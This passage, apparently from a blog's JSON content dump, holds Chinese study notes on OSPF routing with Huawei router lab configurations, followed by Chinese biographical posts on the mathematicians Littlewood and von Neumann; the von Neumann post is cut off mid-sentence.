外部网关协议, 运行于 AS 之间的路由协议 (BGP) 按照算法分类: 距离矢量路由协议: 通过距离和矢量两个参数来描述一个路由信息进行计算, 距离指的是由多远能到达目标 (开销, 跳数). (RIP, BGP) 链路状态路由协议: 通过每台路由器自动生成链路状态信息, 通过在一定的区域内交互链路状态信息, 得到区域内完整的拓扑, 最终通过最短路径树算法, 计算得到最优的树状路径. (OSPF IS - IS) 按照主类进行分类: 有类路由协议: 在传递信息时, 不携带掩码, 根据传递路由的主类网络以及接收路由的接口掩码的配置, 自动计算路由. (RIPv1) 无类路由协议: 在传递信息时, 协议带子网掩码, 可以支持更广泛的应用, 支持 VLSM, CIDR. (RIPv2, OSPF, IS - IS, BGP) 动态路由特点路由器通过动态路由协议自动计算得到的路由信息可以根据网络的变化自动进行路由表的改变. 可以减少网络的管理任务. 动态路由协议会占用部分网络的带宽. 可以实现路由的自动调整. 链路状态LS: 链路状态, 设备直接相连的网络或节点信息. LSA: 链路状态通告. LSDB: 链路状态数据库, 是所有 LSA 的集合. SPF: 最短路径树算法. OSPF 工作原理 建立邻居关系. 泛洪 LSA, 并同步 LSDB. 根据 SPF 算法计算最优路径. 将计算得出的路由放入到路由表中. 区域AREA: 区域, OSPF 通过区域可以实现网络的分层, 并实现管理域的隔离, 缩小 LSDB 的规模, 每个 OSPF 设备在运行时需要指定接口所在的区域, 每个区域会有一个区域号进行标识, 一般写作点分十进制. 区域是从逻辑上将设备分为不同的组. OSPF 区域分为两层: 骨干区域: 固定的区域号为 0 或 0.0.0.0 必须有且只能有一个. 非骨干区域: AS 内可以存在多个非骨干区域, 区域号非 0, 所有的非骨干区域和骨干区域相连, 非骨干区域之间不能相连. 路由器角色IR: 区域内部路由器, 所有的接口属于同一个 OSPF 区域的路由器. BR: 骨干路由器, 至少有一个路由器接口运行于 OSPF 的骨干区域的路由器. ABR: 区域边界路由器, 连接多个区域且所连接的区域中包括骨干区域的路由器. ASBR: 自治系统边界路由器, OSPF 中, AS 和 AS 相连的路由, 一般在 ASBR 上将其他 AS 路由注入进 OSPF 中形成 OSPF 外部路由. Router-ID32bit 的无符号整数, 每个 OSPF 设备在网络中的唯一标识, 经常用点分十进制表示, 每个设备在运行 OSPF 的 AS 内都有唯一的 RID. 生成规则 如果手工配置了 RID, 则手工配置优先. 如果没有手工配置, 则设备会使用最大的 lookback 接口 IP 作为 RID. 如果没有 lookback 接口, 则优选物理接口最大的 IP 地址作为 RID. 全局 RID默认情况下, 设备的全局标识. 协议 RID默认情况下, 路由协议会使用全局 RID 作为协议 RID, 如果手工指定协议 RID, 则优先使用手工指定的 RID. CostOSPF 以 cost 作为度量值, 是一个 16bit 正整数, 取值范围 1-65535, 数值越小越优. OSPF 计算的开销是到达目的网络所有链路的总开销, 从目的到本设备的入向接口开销总和. cost 只与带宽有关. cost = 参考带宽值/接口带宽值 (参考带宽值 100Mbit/s) 如果修改参考带宽值, 所有 OSPF 设备都要修改. OSPF 报文Hello: 用于发现, 建立以及维持邻居关系. DD: 数据库描述信息, 相当于 LSDB 的摘要信息, 在路由器之间选举主从. LSR: 链路状态请求, 用于请求特定的 LSA. LSU: 链路状态更新, 用于响应 LSR, 进行 LSA 的更新. LSACK: 链路状态确认, 对 LSU 中的信息进行确认. 建立邻居关系R1 R2down ==> hello (RID: 1.1.1.1 neighbor list: null) ==> init <== hello (RID: 2.2.2.2 neighbor list: 1.1.1.1) <==2-way init ==> hello (RID: 1.1.1.1 neighbor list: 2.2.2.2) ==> 2-wayEXstart ==> DD (1.1.1.1) X ===============================> <== DD (2.2.2.2) Y <===============================EXchange ==> DD (LSDB) Y ===============================> <== DD (LSDB) Y+1 <=============================== EXchange ==> DD Y+1 ===============================>Loading ==> LSR ================================> <== LSU <================================ ==> LSACK ================================> ..........Full Full OSPF 状态机DOWN: 表示 OSPF 失效状态, 当前状态下无法和其他路由器建立邻居关系. Init: 初始化状态, 表示收到 OSPF Hello 报文, 但报文中不包含自身的 RID, 也就是此时其他路由器并不知道自身的存在. 2-way: 双向通信状态, 表示收到 OSPF Hello 报文, 且收到的报文中包含自身设备的 RID, 此时已经和邻居建立双向通信. EXstart: OSPF 设备会交互空的 DD 报文用于 OSPF 邻接关系的主从选举. EXchange: OSPF 会发送 DD 报文来描述自身数据库信息. Loading: OSPF 设备通过发送 LSR 对特定的 LSA 进行请求, 并等待对方更新. 被请求设备将 LSA 放入到 LSU 中发送过去, 并等待对方的 ACK. 收到的设备需要对其确认. FULL: 当 LSDB 同步完成时, 进入此状态也就是邻接状态. OSPF 邻接状态建立过程第一步: 当邻居状态变为 EXstart 时, RTA 回会向 RTB 发送第一个 DD 报文, 在这个报文中, 序列号为 X, RTA 宣告自己为主路由器. 此时 RTB 也向 RTA 发送自己的第一个 DD 报文, 在这个报文中, 假设 DD 报文的序列号为 Y, RTB 也宣告自己为主路由器, 由于 RTB 的 RID 比 RTA 大, 所以 RTB 成为真正的主路由器. 第二步: RTA 发送一个新的 DD 报文, 在这个报文中, 携带着 LSDB 的描述信息. 序列号设置为 RTB 在上一个 DD 报文中的序列号, 此时 RTB 的状态改为 EXchange. 第三步: 邻居状态变为 EXchange 之后, RTB 发送一个新的 DD 报文, 该报文包含着 LSDB 的描述信息, DD 报文的序列号为 Y + 1 (上次使用的序列号 + 1). 第四步: 即使 RTA 不需要新的 DD 报文来描述自己的 LSDB, 但作为从路由器, RTA 需要对主路由器 RTB 发送的每一个 DD 报文进行确认, 所以, RTA 向 RTB 发送一个内容为空的 DD 报文, 序列号采用 RTB 上次发送的序列号 (表示确认). 第五步: 发送完最后一个 DD 报文后, RTA 将状态改为 Loading, RTB 收到最后一个 DD 报文后状态改为 FULL (假设 RTB 的 LSDB 是完整的, 不需要向 RTA 请求更新). OSPF 所支持的网络类型 BMA: 广播型多路访问, 当链路层为以太网时, 此网络中带有广播功能, 也是 OSPF 默认的网路类型, 在此网络类型下需要进行 DR 和 BDR 的选举. NBMA: 非广播型多路访问, 无法发送广播和组播报文, 只能够通过单播形式来寻找邻居, 在此网络类型下, 也会进行 DR 和 BDR 的选举. P2P: 点到点网络, 接口通过点到点的形式与另一台路由器相连, 在此网络类型下不需要选举 DR 和 BDR. P2MP: 点到多点, 是一种特殊的网络类型, P2MP 必须由其他网络类型强制修改, 不选举 DR 和 BDR. 对于不同网络类型的区别 网络类型 Hello Dead DR/BDR BMA 10 40 选举 NBMA 30 120 选举 P2P 10 40 无 P2MP 30 120 无 DR/BDR不用 DR 邻接关系数量: 使用 DR 邻接关系数量: 在 MA 网络中有 N 台设备且形成两两邻接关系则网络内邻接关系数量为 . 在 MA 网络中设备之间建立邻接关系, 需要维护的邻接关系随着设备的增加而大幅度增加. 每两台设备之间两两交互 LSA, 会导致 LSA 的重复发送, 导致网络计算效率低. DR: 指定路由器, 在每个 OSPF 的 MA 网络中, 都会选举一个 DR 设备, DR 设备会和每台设备建立邻接关系, 并交互 LSA, 同时将自身收集到的 LSA 交互给每台设备. BDR: 备份指定路由器, 为了防止 DR 设备失效造成的单点故障, 在 MA 网络中也会选举 BDR 设备, BDR 也会与其他成员建立邻接关系, 同时监听 DR 的状态, 如果 DR 失效, 则 BDR 成为新的 DR. DR Other: 除 DR 以外其他路由器, DR Other 之间只建立邻居关系. 每一个广播范围内选择一个 DR / BDR. 2-way 状态下完成 DR / BDR 选举. DR 和 BDR 选举每台运行 OSPF 的路由器都有接口优先级. 默认值 1. 当优先级为 0 时, 表示该设备放弃参选. 255 最大值. 优先级大于 0 的设备进行选举, 优先级越大越优. 如果优先级一致, 则比较 RID, RID 越大越优. OSPF 的组播组224.0.0.5: 所有的路由器都监听的地址 DR / BDR 发送的 OSPF 报文目标地址都是 224.0.0.5 在广播型网络中所有的路由器都以 224.0.0.5 为目标地址发送 Hello 报文. DR / BDR 会将 LSA 的更新发向 224.0.0.5 224.0.0.6: DR / BDR 监听的地址 DR Other 发送的 OSPF 报文的目标地址为 224.0.0.6 DR Other 会将 LSA 的更新发向 224.0.0.6 Shell - 全局 OSPF 配置 interface LoopBack0 ip address 11.11.11.11 255.255.255.255 #ospf 1 router-id 1.1.1.1 // 创建OSPF进程, 配置RID area 0.0.0.0 // 创建区域 network 11.11.11.11 0.0.0.0 // 宣告接口 network 12.1.1.1 0.0.0.0 ######################[R1]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 11 Routes : 11 Destination/Mask Proto Pre Cost Flags NextHop Interface 11.11.11.11/32 Direct 0 0 D 127.0.0.1 LoopBack0 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/0 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 22.22.22.22/32 OSPF 10 1 D 12.1.1.2 GigabitEthernet0/0/0 23.1.1.0/24 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 33.33.33.33/32 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]dis int brief PHY: Physical*down: administratively down(l): loopback(s): spoofing(b): BFD down^down: standby(e): ETHOAM down(d): Dampening SuppressedInUti/OutUti: input utility/output utilityInterface PHY Protocol InUti OutUti inErrors outErrorsGigabitEthernet0/0/0 up up 0% 0% 0 0GigabitEthernet0/0/1 down down 0% 0% 0 0GigabitEthernet0/0/2 down down 0% 0% 0 0LoopBack0 up up(s) 0% 0% 0 0NULL0 up up(s) 0% 0% 0 0 Shell - 接口下 OSPF 配置[R1]interface LoopBack0[R1-LoopBack0]ospf enable 1 area 0[R1-LoopBack0]dis th[V200R003C00]#interface LoopBack0 ip address 11.11.11.11 255.255.255.255 ospf enable 1 area 0.0.0.0#return OSPF 实验 R1# sysname R1#interface GigabitEthernet0/0/0 ip address 12.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/1 ip address 13.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/2 ip address 14.1.1.1 255.255.255.0 #interface LoopBack0 ip address 1.1.1.1 255.255.255.255 #ospf 1 router-id 1.1.1.1 area 0.0.0.0 network 1.1.1.1 0.0.0.0 network 12.1.1.1 0.0.0.0 network 13.1.1.1 0.0.0.0 network 14.1.1.1 0.0.0.0 # R2# sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0 #interface GigabitEthernet0/0/1 ip address 24.1.1.2 255.255.255.0 #interface GigabitEthernet0/0/2 ip address 23.1.1.2 255.255.255.0 #interface NULL0#interface LoopBack0 ip address 2.2.2.2 255.255.255.255 #ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 network 23.1.1.2 0.0.0.0 network 24.1.1.2 0.0.0.0 # SW3#sysname SW3#vlan batch 10 to 80#stp disable#dhcp enable#interface Vlanif10 ip address 13.1.1.3 255.255.255.0#interface Vlanif30 ip address 34.1.1.3 255.255.255.0#interface Vlanif40 ip address 23.1.1.3 255.255.255.0#interface Vlanif50 ip address 192.168.1.254 255.255.255.0 dhcp select interface dhcp server lease day 0 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// 和接口display ospf peer brief // 查看 OSPF 对等统计信息"},{"title":"","date":"2026-05-09T02:07:00.000Z","updated":"2026-05-09T02:10:00.000Z","comments":true,"path":"notes/person/13.html","permalink":"https://blog.mhuig.top/notes/person/13","excerpt":"","text":"Littlewood Littlewood 约翰・埃德森・李特尔伍德（John Edensor Littlewood，1885-1977），出生于英国罗切斯特。他的父母是 Edward Thornton Littlewood 和 Sylvia Maud Ackland，他的父亲也是一位数学家。Edward 和 Sylvia 共有三个儿子，第二个儿子 Martin Wentworth Littlewood 后来学习医学，而第三个儿子不幸在八岁时从桥上掉入湖中溺亡。 当 Littlewood 七岁时，他的父亲面临两个职业选择：一个是剑桥 Magdalene 学院的奖学金，另一个是南非温伯格一所新学校的校长职位。他选择了后者，于 1892 年全家前往南非。 Littlewood 后来在回忆里写道：“我们在剑桥的生活会截然不同…… 大学教授的孩子会自信心十足…… 不过我的童年在群山、大海和美丽的气候中度过，非常快乐。” 尽管南非的气候和风景宜人，Littlewood 在那里得到的教育质量却不佳。他的学校老师水平有限，数学教学更是让他困惑，以至于他在一次算术考试中不及格。尽管如此，他还是顺利进入了开普敦大学，但同样没有得到优质的教育。 他的父亲很快意识到开普敦大学并不能帮助儿子的数学才能得到发展，于是 Littlewood 的父母决定让他回到英国。他一生中大部分时间都饱受抑郁症困扰，这始于他在学校时期，或许也加剧了他在南非教育系统中的不顺利经历。 1900 年，15 岁的 Littlewood 返回英国，进入伦敦的圣保罗学校。他非常幸运，在那里遇到了一位优秀的数学教师弗朗西斯・索尔比・麦考利（Francis Sowerby Macaulay，1862-1937），并且在 1902 年 12 月获得了剑桥奖学金。 1903 年 10 月，Littlewood 顺利进入剑桥大学三一学院。数学对他当时而言仿佛是游戏，他在回忆中写道：“要争取 Senior Wrangler（首席 Wrangler）称号，必须花三分之二的时间练习如何在有限的时间内解决难题…… 我并不认为自己受到什么高尚的挫折。我随遇而安；我们玩的游戏对我来说得心应手，甚至在精巧的技巧中感受到一种满足感。” 他的导师是沃尔特・威廉・劳斯・鲍尔（Walter William Rouse Ball，1850-1925），一本著名的数学科普书籍《数学娱乐和随笔》（Mathematical recreations and essays，1892）的作者。Littlewood 在剑桥一阶段的学习中获得了并列第一，1906 年完成了二阶段的学习，并在导师欧内斯特・威廉・巴恩斯（Ernest William Barnes，1874-1953）的指导下开始研究。 Littlewood 很快解决了 Barnes 给他的第一个问题，接下来 Barnes 把黎曼猜想作为他的研究课题。Littlewood 证明了如果黎曼假设为真，那么素数定理成立，并得出了误差项。凭借这项工作，他获得了三一学院的研究员资格。然而，黎曼假设与素数定理之间的联系在欧洲大陆已为人所知。 他后来在其书《数学家的杂记》（A Mathematician's miscellany）中写道，自己重新发现这一结果的过程表明当时英国数学界的孤立性，并没有带来正面的影响。 亨利・彼得・弗朗西斯・斯温纳顿 - 戴尔（Henry Peter Francis Swinnerton-Dyer，1927-2018）在他导师 Littlewood 去世后于三一学院的悼词中说道：“这是一个好的例子，展示了当时英国数学的孤立和封闭，Barnes 居然认为将黎曼假设交给一位天才的研究生是合适的，而 Littlewood 也毫不犹豫地接受了这个挑战。” 当然 Littlewood 从不后悔挑战黎曼假设，他认为如果尝试一个难的问题，总会得出一些有趣的相关结果。 从 1907 年到 1910 年，Littlewood 在曼彻斯特大学担任 Richardson 讲师。1908 年他成为三一学院的研究员，并在这一年获得了史密斯奖。1910 年，他返回三一学院，接替了因种种原因而离职的阿尔弗雷德・诺斯・怀特海德（Alfred North Whitehead，1861-1947）的职位。 不久之后，至少从 1911 年，也有人认为在 1910 年，Littlewood 开始了他与 Hardy 的著名合作。 Littlewood 几乎所有的数学研究都集中在经典分析领域，但在这一领域，他涉足了惊人的多样主题，并在证明结果时采用了更为广泛的技术。 他与 Hardy 合作了 35 年，共同研究级数理论、黎曼 函数、不等式以及函数理论。他们的合作产生了一系列名为 Partitio numerorum 的论文，使用了 Hardy-Littlewood-Ramanujan 的分析方法。 在他们合作的这些年里，Littlewood 很少出现在剑桥以外的地方，甚至有人开玩笑说他是 Hardy 的 “虚构人物”。 真实的原因却令人感到遗憾，那就是前文提及的 Littlewood 长期受抑郁症的折磨。 在 1914 年，Littlewood 在解析数论领域发表了他的第一个成果《关于素数的分布》（Sur la distribution des nombres premiers），研究素数计数函数的误差项。如果 表示不超过 的素数的个数，那么素数定理表明 的增长速度与 一致，其中 是欧拉对数积分： 数值证据似乎暗示 对所有 成立。然而，Littlewood 证明了 会无限次地变号。 在 1923 年，他与 Hardy 提出了第一 Hardy-Littlewood 猜想（first Hardy-Littlewood conjecture），通过推广素数定理，给出了素 -tuple 的大小渐进公式。具体来说，设 是正的偶整数，使得序列 对任何素数都不形成完整的剩余类，并令 表示小于 且使得 都是素数的 的个数，那么 素数 这里 表示 模 后不同剩余类的个数。当 和 时， 表示小于 的孪生素数的个数，此时 被称为孪生素数常数。 第二 Hardy-Littlewood 猜想（second Hardy-Littlewood conjecture）是说， 其中 指不超过 的素数的个数。 第二 Hardy-Littlewood 猜想的等价描述是从 到 的素数个数总是小于或等于从 到 的素数个数。 在猜想提出 50 年后，伊恩・理查兹（Ian Richards）在 1974 年的论文《关于素数的两个猜想的不相容性；关于使用计算机解决理论问题的讨论》（On the incompatibility of two conjectures concerning primes; a discussion of the use of computers in attacking a theoretical problem）中证明了 Hardy-Littlewood 的两个猜想实际上是相互矛盾的。 目前，大多数人倾向于认为 Hardy - Littlewood 第一猜想是正确的。因此人们希望通过假定第一猜想的预测来找出第二猜想的反例。 然而直接的证明也十分困难：若第一猜想成立，那么违反第二猜想的 通常会非常大，例如当 时，反例的 可能在 到 之间。以目前的计算能力来看，验证这些范围的 似乎相当困难。 Littlewood 在分析领域还有很多其他的成果。他与 Hardy 提出了 Hardy - Littlewood 极大函数（Hardy-Littlewood maximal function），对于一个局部可积的函数 ，考虑它的对于所有半径的球内平均值的上界， 他与 Hardy 证明了 作为 到自身的次线性算子是有界的。即对 ， 和 ，存在常数 满足 从而对 ， 和 ，存在常数 满足 这些不等式在证明 Lebesgue 微分定理，以及 Fatou 关于全纯函数延拓定理的证明中被用到。 1915 年，Littlewood 当选为皇家学会院士，并于 1929 年获得皇家奖章。在第一次世界大战期间，Littlewood 服役于皇家驻军炮兵部队。由于他的贡献非常重要，为了让他满意，军队给予了他特别的优待，例如允许他在伦敦与朋友同住，并在穿军服时允许他携带一把雨伞。Littlewood 曾描述了他的战时工作。他提高了防空射程表的精确性，并改进了用于确定射程、飞行时间和在低仰角情况下的弹道末端下降角度的公式。 米尔恩（Edward Arthur Milne，1896-1950）描述了 Littlewood 如何发现了能够大大减少弹道轨迹计算工作量的技术。试验也随之进行，以验证 Littlewood 的预测是否在实际中成立。Milne 写道：“…… 所有相关人员既惊讶又欣喜地发现，炮弹爆炸的位置完全落在 Littlewood 预测的弹道上，在正确的时间标记处，且观测误差极小。” 在 1928 年，Littlewood 成为剑桥大学的 Rouse Ball 数学教授。这个职位是鲍尔（Walter William Rouse Ball，1850-1925）在 1925 年去世后，由他生前设立的捐赠基金会创立，而 Littlewood 是该职位的首任教授。 作为 Rouse Ball 教授，Littlewood 可以自由选择讲授的主题，而不再需要参与例行的教学任务。他很享受这一点，在分析领域内开设了大量自己感兴趣的课程。 Littlewood 在他 1944 年的函数理论讲座中提出了以下三个原则，大致可以表述为： ① 每一个（可测）集合几乎可以表示为有限个区间的和； ② 每一个（属于 类的）函数几乎是连续的； ③ 每一个收敛的函数序列几乎都是一致收敛的。 这些原则以 “几乎” 的概念描述了测度论和函数分析中的近似性质，揭示了可测集、函数和收敛性之间的深层联系。 在 1930 年代末，科学与工业研究部试图吸引纯数学家对非线性微分方程产生兴趣，这类方程对于无线电工程师和科学家很重要，因为它们描述了电路的行为。 即将到来的战争推动了这种需求，因此在 1938 年，无线电研究委员会请求英国纯数学家协助解决一些在无线电工程中出现的非线性微分方程问题。 Littlewood 与 Hardy 的学生玛丽・露西・卡特赖特（Mary Lucy Cartwright，1900-1998）合作，花了 20 年时间研究这类方程，如以荷兰物理学家巴尔塔萨・范德波尔（Balthasar van der Pol，1889-1959）命名的范德波尔方程（van der Pol's equation）。 这里 是标量。 McMurran 和 Tattersall 在后来讨论了这一合作，他们写道：“van der Pol 在 1920 和 1930 年代对非线性振荡器的实验激发了人们对非线性微分方程在无线电研究中应用的数学兴趣。这些问题吸引英国数学家 Cartwright 和 Littlewood 的关注，开启了一段持续超过十年的合作。Cartwright 和 Littlewood 对范德波尔方程及其广义形式的分析使他们探索了一些有趣的拓扑方法，包括开发一个用于保持平面同胚下连续体不变的固定点定理。他们是最早将庞加莱的变换理论应用于耗散系统分析的数学家之一。他们的研究是大参数理论中最早的工作之一，并对现代动力系统理论和混沌理论的发展产生了影响。 在 1950 年代，Littlewood 研究了 Littlewood 多项式 —— 所有系数均为 +1 或 -1 的多项式。他在 1966 年提出了一个问题：寻找 和 ，使得存在无限多 Littlewood 多项式满足 其中 属于单位圆。 2019 年，保罗・巴利斯特（Paul Balister）、贝拉・博洛巴斯（Béla Bollobás，1943-）、罗伯特・莫里斯（Robert Morris）、朱利安・萨哈斯拉布德（Julian Sahasrabudhe，1988-）、马里乌斯・蒂巴（Marius Tiba）构造出了一组无限的 Littlewood 多项式。 他在 1958 年获得皇家学会的科普利奖章（Copley Medal），以表彰他 “在分析的多个分支，包括 Tauberian 理论、黎曼 函数和非线性微分方程方面的杰出贡献”。 根据 Hardy 自己的评价，“Littlewood 是他所认识的最优秀的数学家。他是最有可能攻克真正深刻而艰难问题的人，没有其他人能在洞察力、技术和能力上达到他的水平。” 正如之前多次提到的，Littlewood 一生中必须应对的一个问题是抑郁症。自学校时期起，它就一直影响着他，并贯穿了他的职业生涯。 尽管没有证据表明这在任何方面损害了他的数学能力，鉴于他的成就，很难说它产生了负面影响，但它确实破坏了他的社交生活，使他更倾向于自我封闭。 尽管他的数学研究似乎并未受损，但抑郁症确实阻止了他参与需要见人的其他数学活动。例如，他在晚年能够自豪地说，他从未担任过任何委员会的秘书或主席。 实际上，尽管他在 1941-1943 年间担任伦敦数学学会主席，但他从未主持过会议，都是由副主席主持。 退休后，他接受了有效的抑郁症治疗，自 1957 年后，他更愿意接受访问同事的邀请。确实，在 1957 年后的十年里，他多次访问美国。 值得注意的是，他在与人会面方面的问题并不包括那些他熟悉的人，例如他在三一学院的晚宴上完全投入谈话，并非常享受在熟悉的环境中与人相处的时光。 退休多年后，他依旧不断产出优秀的数学成果，甚至在 90 岁时依然敏锐，能够提出新的深刻想法。 1970 年，他发表了一篇论文，其中写道，他解决了一个 “…… 曾一度令我陷入困境的问题，但我现在已克服克服了它。” 1977 年，Littlewood 在英国剑桥去世。"},{"title":"","date":"2026-05-10T00:07:00.000Z","updated":"2026-05-10T00:10:00.000Z","comments":true,"path":"notes/person/14.html","permalink":"https://blog.mhuig.top/notes/person/14","excerpt":"","text":"von Neumann von Neumann 生平约翰・冯・诺伊曼（John von Neumann，1903-1957）出生时名为 “Neumann János Lajos”，后来在美国，他被称为 Johnny。 von Neumann 的父亲马克思・诺伊曼（Max von Neumann）是一位顶尖的银行家，他在一个大家庭中长大，居住在匈牙利布达佩斯。小时候，他跟随家中聘请的德国和法国女家庭教师学习语言。 尽管这个家庭是犹太人，但 Max Neumann 并不遵守严格的宗教习俗，家中似乎融合了犹太和基督教的传统。 由于对当时繁荣的匈牙利经济作出了贡献，Max Neumann 有资格申请世袭头衔，并于 1913 年获得了 “Margittai” 的世袭称号，但他并未更改自己的姓氏。后来，他的儿子在名字中使用了德语形式 von Neumann，其中 “von” 表示这个头衔。 孩童时期的 von Neumann 展现出了惊人的记忆力。 Poundstone 在回忆中写道：“在六岁时，他就能够用古典希腊语和父亲开玩笑。Neumann 家有时会让 Johnny 展示他记忆电话簿的能力来招待客人。一位客人会随意选择电话簿中的某一页和某一栏，年幼的 Johnny 会看上几遍，然后把电话簿还给客人。他能够回答任何与此相关的问题（‘某某号码是谁的？’），或者按照顺序背出姓名、地址和电话号码。” 1914 年，von Neumann 进入路德的中学 Fasori Evangélikus Gimnázium 就读。Eugene Wigner 比 von Neumann 高一年级，很快就与他成为朋友。 虽然 von Neumann 的父亲坚持让他按照同龄人的年级正常上学，但也同意聘请私人教师对他进行高阶辅导。 十五岁时，von Neumann 开始在分析学家 Gábor Szegő 的指导下学习高等微积分。据 Szegő 的妻子回忆，俩人第一次见面时，von Neumann 展现出的数学天赋与思维速度令 Szegő 震惊不已，他回到家后甚至感动得热泪盈眶。 到了十九岁，von Neumann 已发表了两篇重要的数学论文。他的第一篇数学论文《关于某些最小多项式的零点位置》（On the position of zeroes of certain minimum polynomials）是与布达佩斯大学的助教费克特（Michael Fekete，1886-1957）共同撰写的，该论文于 1922 年发表。第二篇给出了序数（ordinal numbers）的现代定义，取代了 Georg Cantor 的旧定义。完成中学学业后，他申请并获得了匈牙利全国性的数学奖 ——Eötvös Prize。 然而，Max Neumann 不希望儿子投身一个无法带来财富的学科，于是请冯・卡门（Theodore von Kármán，1881-1963）出面，与 von Neumann 交谈，劝他从商。或许 von Kármán 并不是最合适的人选，不过最终他们达成妥协，让 von Neumann 在大学主修化学。 由于种种原因，对于犹太裔而言，匈牙利并不是一个友善的国家，而且布达佩斯大学对犹太学生人数有严格限制。即使有配额，von Neumann 的成绩依然足以在 1921 年赢得一个数学专业的名额，但他并没有去听课。相反，他在同一年还进入了柏林大学（University of Berlin）学习化学。von Neumann 在柏林大学学习化学至 1923 年，随后前往苏黎世（Zürich）。尽管他没有参加任何课程，仍在布达佩斯大学的数学考试中取得了优异成绩。 1926 年，von Neumann 在苏黎世高等工业学院（Technische Hochschule in Zürich）获得化学工程文凭。在苏黎世期间，他尽管主修化学，但依旧对数学抱有极大兴趣，并与当时在苏黎世的外尔（Hermann Weyl, 1885-1955）和波利亚（George Pólya, 1887-1985）保持学术交流。 某段时间，当 Weyl 离开苏黎世时，von Neumann 甚至代为讲授了他的课程。 Pólya 在采访中曾说道：“Johnny 是我唯一惧怕过的学生。如果我在课堂上提出了一个尚未解决的问题，通常一等下课，他就能拿着在纸片上匆匆写下的完整解答来找我。” 1926 年，von Neumann 在布达佩斯大学也获得了数学博士学位，他的博士论文是对康托尔集合论（Cantor's set theory）进行公理化研究。 20 岁时，他发表了一个对序数（ordinal numbers）的定义，至今仍在使用。 von Neumann 于 1926 年至 1929 年在柏林（Berlin）授课，1929 年至 1930 年在汉堡（Hamburg）授课。 他还获得了洛克菲勒基金会（Rockefeller Fellowship）的资助，得以在哥廷根大学（University of Göttingen）从事博士后研究，在希尔伯特（David Hilbert, 1862-1943）门下研究数学。 到了这个时候，von Neumann 已经在数学界声名鹊起：“二十多岁时，von Neumann 在数学界已是名声远播。学术会议上，人们会指着他称其为年轻天才。” Hermann Weyl 回忆说，在 1926 至 1927 年的冬季学期，von Neumann、艾米・诺特（Emmy Noether, 1882-1935）和他常常在 “哥廷根寒冷潮湿的街道上” 边走边讨论超复数（hypercomplex numbers）体系及其表示。 维布伦（Oswald Veblen, 1880-1960）于 1929 年邀请 John von Neumann 前往普林斯顿（Princeton）讲授量子理论。von Neumann 回复说他会先处理一些个人事务，然后再动身前往普林斯顿；于是他先回到布达佩斯，与未婚妻玛丽埃塔・科韦西（Marietta Kovesi）成婚后，才前往美国。 1930 年，von Neumann 成为普林斯顿大学的客座讲师，并于 1931 年被任命为教授。 在 1930 至 1933 年间，von Neumann 在普林斯顿任教，但教学并不是他的强项之一：“他奔放的思维对天赋没那么高的学生而言实在难以跟上。他在仅占黑板一小部分的地方飞快地写下推导，然后在学生还没来得及抄写前就把它们擦掉了，这在当时很出名。” 然而，与之形成对比的是，他在解释物理中的复杂概念时却拥有出众的能力：“对于一个能够轻松应对复杂数学的人，他向外行解释结论时却能展现出惊人的清晰度。和他交谈后，人们常会觉得原来的问题其实简单而透明。” If people do not believe that mathematics is simple, it is only because they do not realize how complicated life is.— John von Neumann 1933 年，他成为新成立的普林斯顿高等研究院（IAS）最初六位数学教授（亚历山大（James Waddell Alexander, 1888-1971）、爱因斯坦（Albert Einstein, 1879-1955）、莫尔斯（Marston Morse, 1892-1977）、Veblen、von Neumann 和 Weyl）之一，并一直在该研究院任职直到去世。 在刚到美国的头几年里，von Neumann 夏天仍会回到欧洲。1933 年之前，他依然在德国有学术职位，但纳粹上台后他就辞去了这些职位。 与许多政治难民不同，von Neumann 来到美国主要是因为他认为美国的学术职位前景比德国更好。 1935 年，von Neumann 和 Marietta 育有一个女儿 Marina，但他们的婚姻于 1937 年以离婚告终。第二年，他与同样来自布达佩斯的 Klára Dán 结婚。von Neumann 是在一次回欧洲时与她相识的。婚后，两人乘船前往美国，并在普林斯顿定居。在那里，von Neumann 过着与其他顶尖数学家不太一样的生活方式。他一直热衷于社交聚会：“von Neumann 对聚会和夜生活有种特别的喜好。早在德国任教时，他便是柏林歌舞表演（Cabaret）时代夜生活圈子中的常客。” 乌拉姆（Stanisław Marcin Ulam, 1909-1984）对 von Neumann 的研究工作作了总结。他写道：“在他早期的研究中，他不仅关注数学逻辑和集合论的公理化，同时也研究集合论本身，在测度论和实变函数论中取得了有趣的成果。正是在这段时期，他开始了关于量子理论的经典研究，尤其是量子理论的测量理论以及新的统计力学的数学基础。” 他的著作《量子力学的数学基础》（Mathematische Grundlagen der Quantenmechanik, 1932 年）为新的量子力学奠定了坚实的框架。 1929 年，von Neumann 在发表于《Mathematische Annalen》的一篇论文中引入了在弱算子拓扑下闭的、作用于 Hilbert 空间的有界线性算子自伴代数（self-adjoint algebras）。 卡迪森（Richard Vincent Kadison, 1925-2018）解释道：“他对遍历理论（ergodic theory）、群表示以及量子力学的兴趣，为他认识到算子代数理论（operator algebras）是这一数学领域下一重要发展阶段起到了显著作用。” 当时他使用的术语是 “rings of operators”，而之后有些数学家称它们为 - 代数。1957 年，J Dixmier 在他著作《Algebras of operators in Hilbert space》中将它们称为 “von Neumann algebras”。 在 20 世纪 30 年代后期至 40 年代初，John von Neumann 与合作者 F J Murray 合作，奠定了研究 von Neumann 代数的基础，并在一系列具有重大影响的论文中系统展开了这一领域。 然而，人们更熟知的是 von Neumann 在各个不同科学领域都作出了多样化的研究成果。 正如 Ulam 在回忆中写的，他是这样走向博弈论的： “von Neumann 对其他数学家已有成果的了解，以及他能从中看出的潜在可能性，着实令人惊叹。他的早期工作中，波莱尔（Félix Édouard Justin Émile Borel, 